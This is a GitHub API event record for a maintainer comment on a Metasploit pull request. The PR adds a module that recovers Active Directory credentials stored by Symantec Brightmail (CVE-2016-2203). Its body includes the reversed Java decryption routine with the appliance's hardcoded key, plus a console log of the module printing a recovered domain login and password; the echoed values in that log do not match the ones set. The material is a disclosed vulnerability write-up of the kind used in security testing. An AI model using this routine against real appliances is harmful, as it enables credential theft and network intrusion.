{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6793","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6793/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6793/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6793/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6793","id":149814580,"number":6793,"title":"Test symantec brightmail ldap creds","user":{"login":"kfr-ma","id":8555276,"avatar_url":"https://avatars.githubusercontent.com/u/8555276?v=3","gravatar_id":"","url":"https://api.github.com/users/kfr-ma","html_url":"https://github.com/kfr-ma","followers_url":"https://api.github.com/users/kfr-ma/followers","following_url":"https://api.github.com/users/kfr-ma/following{/other_user}","gists_url":"https://api.github.com/users/kfr-ma/gists{/gist_id}","starred_url":"https://api.github.com/users/kfr-ma/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kfr-ma/subscriptions","organizations_url":"https://api.github.com/users/kfr-ma/orgs","repos_url":"https://api.github.com/users/kfr-ma/repos","events_url":"https://api.github.com/users/kfr-ma/events{/privacy}","received_events_url":"https://api.github.com/users/kfr-ma/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":{"login":"wwebb-r7","id":16786368,"avatar_url":"https://avatars.githubusercontent.com/u/16786368?v=3","gravatar_id":"","url":"https://api.github.com/users/wwebb-r7","html_url":"https://github.com/wwebb-r7","followers_url":"https://api.github.com/users/wwebb-r7/followers","following_url":"https://api.github.com/users/wwebb-r7/following{/other_user}","gists_url":"https://api.github.com/users/wwebb-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wwebb-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wwebb-r7/subscriptions","organizations_url":"https://api.github.com/users/wwebb-r7/orgs","repos_url":"https://api.github.com/users/wwebb-r7/repos","events_url":"https://api.github.com/users/wwebb-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wwebb-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":15,"created_at":"2016-04-20T16:09:10Z","updated_at":"2016-05-14T04:30:26Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6793","html_url":"https://github.com/rapid7/metasploit-framework/pull/6793","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6793.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6793.patch"},"body":"Symantec Brightmail 10.6.0-7 and earlier save the AD password somewhere in the product. By having a read account on the gateway we manage to discover it; indeed the html code contains the encrypted AD password.\r\n\r\nthe encryption and decryption part is implemented in Java in the appliance, by reversing the code we get to know the encryption algorithm:\r\n\r\npublic static String decrypt(String password)\r\n{\r\nbyte clearText[];\r\ntry{\r\nPBEKeySpec keySpec = new PBEKeySpec(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\\\"\\{}`~!@#$%^&*()_+-=\".toCharArray());\r\nSecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"PBEWithMD5AndDES\");\r\nSecretKey secretKey = keyFactory.generateSecret(keySpec);\r\nSystem.out.println(\"Encoded key \"+ (new String(secretKey.getEncoded())));\r\n\r\n    BASE64Decoder decoder = new BASE64Decoder();\r\n    byte salt[] = decoder.decodeBuffer(password.substring(0, 12));\r\n    PBEParameterSpec paramSpec = new PBEParameterSpec(salt, 1000);\r\n    Cipher c = Cipher.getInstance(secretKey.getAlgorithm());\r\n    c.init(Cipher.DECRYPT_MODE, secretKey, paramSpec);\r\n    byte cipherText[] = decoder.decodeBuffer(password.substring(12, password.length()));\r\n    clearText = c.doFinal(cipherText);\r\n    return new String(clearText, \"UTF-8\");\r\n\r\n    }\r\n    catch(Exception e){\r\n            return \"nok\";\r\n    }\r\n}\r\nI contacted symantec and details is provided to them https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00\r\n\r\nthe following alerts were created :\r\n\r\n['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],\r\n[ ' CVE ', ' 2016-2203 '] ,\r\n[ ' BID ', ' 86137 ']\r\n\r\nI wrote a metasploit module to exploit the vulnerability\r\n\r\nYou need at least a read account on the brightmail console .\r\n\r\nVerification\r\n\r\nresource (/root/rssi/msfscripts/smgldap.rc)> use (symantec_brightmail_ldapcreds\r\nresource (/root/rssi/msfscripts/smgldap.rc)> set VHOST 192.16.10.125\r\nVHOST => 172.16.10.125\r\nresource (/root/rssi/msfscripts/smgldap.rc)> set PASSWORD P@ass2018&\r\nPASSWORD => con2015&\r\nresource (/root/rssi/msfscripts/smgldap.rc)> set USERNAME consult\r\nUSERNAME => consult\r\nresource (/root/rssi/msfscripts/smgldap.rc)> set RHOST 192.16.10.125\r\nRHOST => 172.16.10.125\r\nresource (/root/rssi/msfscripts/smgldap.rc)> run\r\n[+] 192.16.10.125:443 - Logged in as 'consult' Sid: '47E2715B99E4E2DE7741ED9E3FA\r\n[+] Found login = 'DOM\\LDAPSYNC' password = 'NizarFakhir@2014' host ='17\r\n[*] Auxiliary module execution completed"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/219200015","html_url":"https://github.com/rapid7/metasploit-framework/pull/6793#issuecomment-219200015","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6793","id":219200015,"user":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"created_at":"2016-05-14T04:30:26Z","updated_at":"2016-05-14T04:30:26Z","body":"Hi @kfr-ma , I'll take a look if @wwebb-r7 doesn't have an update soon."}}